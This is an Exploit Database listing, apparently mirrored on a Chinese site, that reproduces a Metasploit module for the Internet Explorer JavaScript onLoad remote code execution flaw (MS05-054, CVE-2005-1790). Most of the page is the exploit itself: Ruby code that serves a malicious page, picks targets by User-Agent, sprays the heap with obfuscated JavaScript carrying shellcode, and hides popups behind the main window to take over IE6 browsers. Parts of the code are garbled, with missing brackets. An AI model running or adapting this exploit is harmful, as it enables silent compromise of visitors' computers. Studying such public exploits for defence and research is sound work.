Microsoft Internet Explorer – JavaScript OnLoad Handler Remote Code Execution (MS05-054) (Metasploit)

Exploit Database
143 阅读

作者： Metasploit

日期： 2012-01-14
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/18365/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})

super(update_info(info,

'Name' => 'Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability',

'Description'=> %q{

This bug is triggered when the browser handles a JavaScript 'onLoad' handler in

conjunction with an improperly initialized 'window()' JavaScript function.

This exploit results in a call to an address lower than the heap. The javascript

prompt() places our shellcode near where the call operand points to.We call

prompt() multiple times in separate iframes to place our return address.

We hide the prompts in a popup window behind the main window. We spray the heap

a second time with our shellcode and point the return address to the heap. I use

a fairly high address to make this exploit more reliable. IE will crash when the

exploit completes.Also, please note that Internet Explorer must allow popups

in order to continue exploitation.

'License'=> MSF_LICENSE,

'Author' =>

[

'Benjamin Tobias Franz', # Discovery

'Stuart Pearson',# Proof of Concept

'Sam Sharps' # Metasploit port

'References' =>

[

['MSB', 'MS05-054'],

['CVE', '2005-1790'],

['OSVDB', '17094'],

['URL', 'https://www.securityfocus.com/bid/13799/info'],

['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space'=> 1000,

'BadChars' => "\x00",

'Compat' =>

{

'ConnectionType' => '-find',

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],

[ 'Internet Explorer 6 Windows 2000',{ 'iframes' => 8 } ],

'DisclosureDate' => 'Nov 21 2005',

'DefaultTarget'=> 0))

end

def exploit

@var_redir = rand_text_alpha(rand(100)+1)

super

end

def auto_target(cli, request)

mytarget = nil

agent = request.headers['User-Agent']

print_status("Checking user agent: #{agent}")

if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/)

mytarget = targets[0] # IE6 on XP

elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)

mytarget = targets[1] # IE6 on 2000

else

print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")

end

mytarget

end

def on_request_uri(cli, request)

mytarget = auto_target(cli, request)

var_title= rand_text_alpha(rand(100) + 1)

func_main= rand_text_alpha(rand(100) + 1)

heapspray = ::Rex::Exploitation::JSObfu.new %Q|

function heapspray()

{

shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');

var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");

var headersize = 20;

var slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace) bigblock += bigblock;

var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);

while (block.length + slackspace < 0x40000) block = block + block + fillblock;

var memory = new Array();

for (i = 0; i < 250; i++){ memory[i] = block + shellcode }

var ret = "";

var fillmem = "";

for (i = 0; i < 500; i++)

ret += unescape("%u0F0F%u0F0F");

for (i = 0; i < 200; i++)

fillmem += ret;

prompt(fillmem, "");

}

heapspray.obfuscate

nofunc = ::Rex::Exploitation::JSObfu.new %Q|

if (document.location.href.indexOf("#{@var_redir}") == -1)

{

var counter = 0;

top.consoleRef = open('','BlankWindow',

'width=100,height=100'

+',menubar=0'

+',toolbar=1'

+',status=0'

+',scrollbars=0'

+',left=1'

+',top=1'

+',resizable=1')

self.focus()

for (counter = 0; counter < #{mytarget['iframes']}; counter++)

{

top.consoleRef.document.writeln('<iframe width=1 height=1 src='https://www.exploit-db.com/exploits/18365/+document.location.href+'?p=#{@var_redir}</iframe>');

}

document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");

}

else

{

#{heapspray.sym('heapspray')}();

}

nofunc.obfuscate

main = %Q|

function #{func_main}()

{

document.write("<TITLE>#{var_title}</TITLE>");

document.write("<body onload=window();>");

window.location.reload();

}

html = %Q|

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">

<html>

<head>

#{nofunc}

#{heapspray}

#{main}

</script>

</head>

<body>

</body>

</html>

print_status("Sending #{self.name} to client #{cli.peerhost}")

# Transmit the compressed response to the client

send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })

# Handle the payload

handler(cli)

end